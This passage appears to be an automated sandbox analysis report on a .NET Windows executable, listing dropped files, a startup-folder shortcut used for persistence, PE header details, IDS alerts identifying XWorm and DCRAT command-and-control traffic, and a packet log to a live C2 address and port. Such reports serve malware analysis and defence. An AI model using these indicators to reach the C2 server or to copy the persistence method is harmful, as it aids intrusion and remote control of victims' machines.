.'...rl..p..............j..................s[.............."(F...+.:.t....(A...+..r...p*.

C:\Users\user\AppData\Local\Temp\rQbUmvYmK7

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.243856189774723
Encrypted:	false
SSDEEP:	3:uEtF1wTi:uAui
MD5:	010C8C1B8C76C9CCC362580CF27864CD
SHA1:	21397C6D054E7D11DA05E8BD889ABB6964B9D88D
SHA-256:	02DE83B6B222977E3B42F09640F9854DCD1ABF0C2F5597A5E8ACB32D8F75E04C
SHA-512:	E29F82FD123ED16D9E3E28E9FF623133AC2BB3776E90F85F309BC2E21F9ECF3B2610213C93C1E8578D7084AD10A6B1E44392CEC877EB76B9A6CA18097B0743E2
Malicious:	false
Preview:	P7fUkZhoGGkmrN1Nvl3dPU6eb

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JavaClient.lnk

Process:	C:\Users\user\AppData\Local\Temp\javaclient.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Aug 6 08:51:55 2024, mtime=Tue Aug 6 08:51:56 2024, atime=Tue Aug 6 08:51:55 2024, length=151040, window=hide
Category:	dropped
Size (bytes):	1068
Entropy (8bit):	4.999962112570021
Encrypted:	false
SSDEEP:	24:8PxfPHREgKGgXFAvwZCkR487PqwOqygm:8Px3HR2evwZCq48tLyg
MD5:	B3033D0D23BAC1D95B1A4388D7B5635F
SHA1:	DAB086EF127928D20C7BC22C7F113C4F658BC2F7
SHA-256:	2E400F0CFE4C0726829F1442499658312F6F38470E26943360DA3777A5988F7C
SHA-512:	BA3D5E02B4AC06C63A737403F530146F79E294055DB75A133030A8E395D258BB89FB586A353AC1B0530C4FD50D3624B764FDBC24A39C9BC18054D085190CBEE6
Malicious:	false
Preview:	L..................F.... ....f.E.......E.....f.E.....N........................:..DG..Yr?.D..U..k0.&...&.......bBDj....yoG....1.MP........t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.YzN..........................=...A.p.p.D.a.t.a...B.P.1......YxN..Local.<......EWsG.YzN.........................=...L.o.c.a.l.....N.1......Y.N..Temp..:......EWsG.Y.N..........................z..T.e.m.p.....j.2..N...Y\|N .JAVACL~1.EXE..N.......Y\|N.Y\|N....^.....................&_..j.a.v.a.c.l.i.e.n.t...e.x.e.......^...............-.......]...................C:\Users\user\AppData\Local\Temp\javaclient.exe..+.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.j.a.v.a.c.l.i.e.n.t...e.x.e.............:...........\|....I.J.H..K..:...`.......X.......549163...........hT..CrF.f4... ...E._c...,...E...hT..CrF.f4... ...E._c...,...E..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3......

C:\Users\user\cmd.exe

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\ebf1f9fa8afd6d

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with very long lines (417), with no line terminators
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.847916816232214
Encrypted:	false
SSDEEP:	6:BGKuHT34EFZQSd04zJN+bHWRE+qmjqOOu48qpF2LjTMmGJoLoKzmQpPI6Tdt30C:B5ub4EFZQSd049NSLmjp0+gdKiE9z3J
MD5:	47B92548458745131A59A88C71504772
SHA1:	A2E22A136B8FA96857FC897A08A75C9F64E5607F
SHA-256:	18D7593AD477EF0458CE5D2475BC8998401E855C21E2420557614C8265F5DF86
SHA-512:	8F94932C6B061AB407698C646B5DF0B92FB15D15DD6B921CCFD99DF622DDF5286037F9A8156322FC394F46120D8517EAC4521EA49D81098D485B621BC4713301
Malicious:	false
Preview:	mTO7y9yVBz88PjEoKfQolAPV8Id6x847WlZI42CTjjU8Ko6w8m1M0NymD29pg1hC4AloK6uSd6EBpRLUMq7LHsHJwxEB3WxrCREJCRmC1js4Ix6wrpdz4W5L3c1W1tZGIX9YMBR4E5Ti9NA90RUO38xpV2QkaPKIJmvvyijpXiu9DXLqb2gjZLNKjTCUvrezuKYXbPLSso0UNxl7qkJhtkt8ZkLefP3qD5O29yOLrN1uU26vsEnLh6GJbZ81EqwcuJRSjs82V70fs8ogoZwamsIGyFbkzXHAbZAKknM9GuzkFladvbMo4V0CBKedRYD8z0ET8d5AMwU22hANo7zXKdGFj8JaJtssq1vPhGfRgMbHB8JdJQzUjqyWt8uAUf1dEmLBwvqhch18B8DkypR24YJACZfiWf6AV

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.996846244012986
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	cougif6lqM.exe
File size:	1'265'664 bytes
MD5:	2bbc8212c548dcb848224a882b32492a
SHA1:	d056d925ed8284c3b41e4bd2905e6e4cbbd56d3b
SHA256:	4b0446befa42f4a40fd06635aaa72fb34dfbaa7575fb1f811df6f4fad90f53b4
SHA512:	8340eaa4607b155b817481e6cc0211b37ee05b9cec90a9b577bfa93929496b203aed086235b2936fac5a3a21e0736711a5f39fe6e480243a0d738819b8e390ce
SSDEEP:	24576:VIY/wWfmHeEhb0z4iUiKKRHVtrbuvrFHUWiNVuGZxwiRQiJibnniokbiZpOUYa:VImmSzFJ1huTWv3uGZ2iRPJibnniopYa
TLSH:	904533D38C59859BFE1DBD304D4A315969E54DE80D88CFA89D4FAD098FFE8202A54F2C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.....................p......^.... ........@.. ....................................@................................

File Icon


Icon Hash:	176751b1b1546917

Static PE Info

General

Entrypoint:	0x51fd5e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66AD0DCE [Fri Aug 2 16:48:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11fd10	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x120000	0x16de8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x138000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x11dd64	0x11de00	7cf9d0c7f951d98a1427706125733750	False	0.9969537398885002	data	7.998330200111187	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x120000	0x16de8	0x16e00	eb57413793246479baadebb2ab570faa	False	0.9925503756830601	data	7.9574797382340545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x138000	0xc	0x200	5b662fac47906c0e4758c7e2b95470ba	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x120130	0x16852	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9991110340192103
RT_GROUP_ICON	0x136984	0x14	Targa image data - Map 65536 x 26706 x 1	0.85
RT_VERSION	0x136998	0x264	data	0.46405228758169936
RT_MANIFEST	0x136bfc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-06T11:52:51.212378+0200	TCP	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	49716	10314	192.168.2.9	147.185.221.17
2024-08-06T11:54:05.009491+0200	TCP	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	49720	10314	192.168.2.9	147.185.221.17
2024-08-06T11:54:31.399989+0200	TCP	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	49721	10314	192.168.2.9	147.185.221.17
2024-08-06T11:52:15.171137+0200	TCP	2034194	ET MALWARE DCRAT Activity (GET)	49713	80	192.168.2.9	141.8.192.26

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 6, 2024 11:52:15.204010010 CEST	49715	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:15.208976030 CEST	10314	49715	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:15.209067106 CEST	49715	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:15.312932014 CEST	49715	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:15.318523884 CEST	10314	49715	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:28.129138947 CEST	49715	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:28.134190083 CEST	10314	49715	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:36.583637953 CEST	10314	49715	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:36.583719015 CEST	49715	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:37.578835011 CEST	49715	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:37.580859900 CEST	49716	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:37.583754063 CEST	10314	49715	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:37.585860968 CEST	10314	49716	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:37.585947990 CEST	49716	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:37.632034063 CEST	49716	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:37.636888027 CEST	10314	49716	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:51.212378025 CEST	49716	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:51.217370033 CEST	10314	49716	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:58.958467007 CEST	10314	49716	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:58.958610058 CEST	49716	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:59.946429014 CEST	49716	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:59.948026896 CEST	49718	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:59.954040051 CEST	10314	49716	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:59.954056025 CEST	10314	49718	147.185.221.17	192.168.2.9
Aug 6, 2024 11:52:59.954145908 CEST	49718	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:59.985930920 CEST	49718	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:52:59.990715027 CEST	10314	49718	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:10.181246042 CEST	49718	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:10.186199903 CEST	10314	49718	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:20.384371996 CEST	49718	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:20.389317036 CEST	10314	49718	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:21.336042881 CEST	10314	49718	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:21.336179972 CEST	49718	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:23.946516037 CEST	49718	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:23.951538086 CEST	10314	49718	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:23.951590061 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:23.956558943 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:23.960261106 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:24.108155012 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:24.121643066 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:25.306302071 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:25.312699080 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:25.854096889 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:25.859817028 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:32.509650946 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:32.514722109 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:45.165755033 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:45.171535969 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:45.365432024 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:45.365518093 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:49.384139061 CEST	49719	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:49.386205912 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:49.389023066 CEST	10314	49719	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:49.391073942 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:49.391163111 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:49.445847988 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:49.450738907 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:52.821964025 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:52.827009916 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:53.587399960 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:53.592338085 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:53.744182110 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:53.749144077 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:53.808387995 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:53.813395023 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:54.728100061 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:54.733023882 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:54.759284973 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:54.764169931 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:54.774943113 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:54.780409098 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:54.821829081 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:54.827615023 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:53:54.868940115 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:53:54.873809099 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:04.978692055 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:04.983627081 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:04.993729115 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:04.998790026 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:05.009490967 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:05.014538050 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:08.603410006 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:08.608314991 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:09.150120020 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:09.157135010 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.087678909 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.093075037 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.587502956 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.592636108 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.618810892 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.623867989 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.665644884 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.670586109 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.784596920 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.784657001 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.784720898 CEST	49720	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.786523104 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.789978981 CEST	10314	49720	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.791496038 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.791552067 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.824459076 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.829489946 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.837333918 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.842308044 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.852982998 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.858230114 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.946876049 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.951780081 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.978044987 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:10.982917070 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:10.993717909 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:11.000504017 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:11.087502956 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:11.092562914 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:11.165716887 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:11.399656057 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:11.572175026 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:11.572192907 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:16.262171984 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:16.267026901 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:21.290643930 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:21.295595884 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:21.306200981 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:21.310971975 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:24.200282097 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:24.207098961 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:24.463613033 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:24.468488932 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:31.384494066 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:31.389445066 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:31.399988890 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:31.404858112 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:31.415654898 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:31.420597076 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:31.525007963 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:31.529776096 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:31.540590048 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:31.545418978 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:31.556302071 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:31.561737061 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:31.587524891 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:31.592550039 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:32.174336910 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:32.176444054 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:36.587559938 CEST	49721	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:36.590099096 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:36.592533112 CEST	10314	49721	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:36.596695900 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:36.600311041 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:36.640774012 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:36.645754099 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:39.728104115 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:39.732950926 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:39.837474108 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:39.842271090 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:46.853204012 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:46.858035088 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:46.884407997 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:46.889238119 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:46.915589094 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:46.920523882 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:46.931184053 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:46.936062098 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:46.946804047 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:46.951761007 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:46.993815899 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:46.998617887 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.150067091 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:57.155827045 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.181229115 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:57.186079979 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.259438038 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:57.265279055 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.290618896 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:57.296366930 CEST	10314	49722	147.185.221.17	192.168.2.9
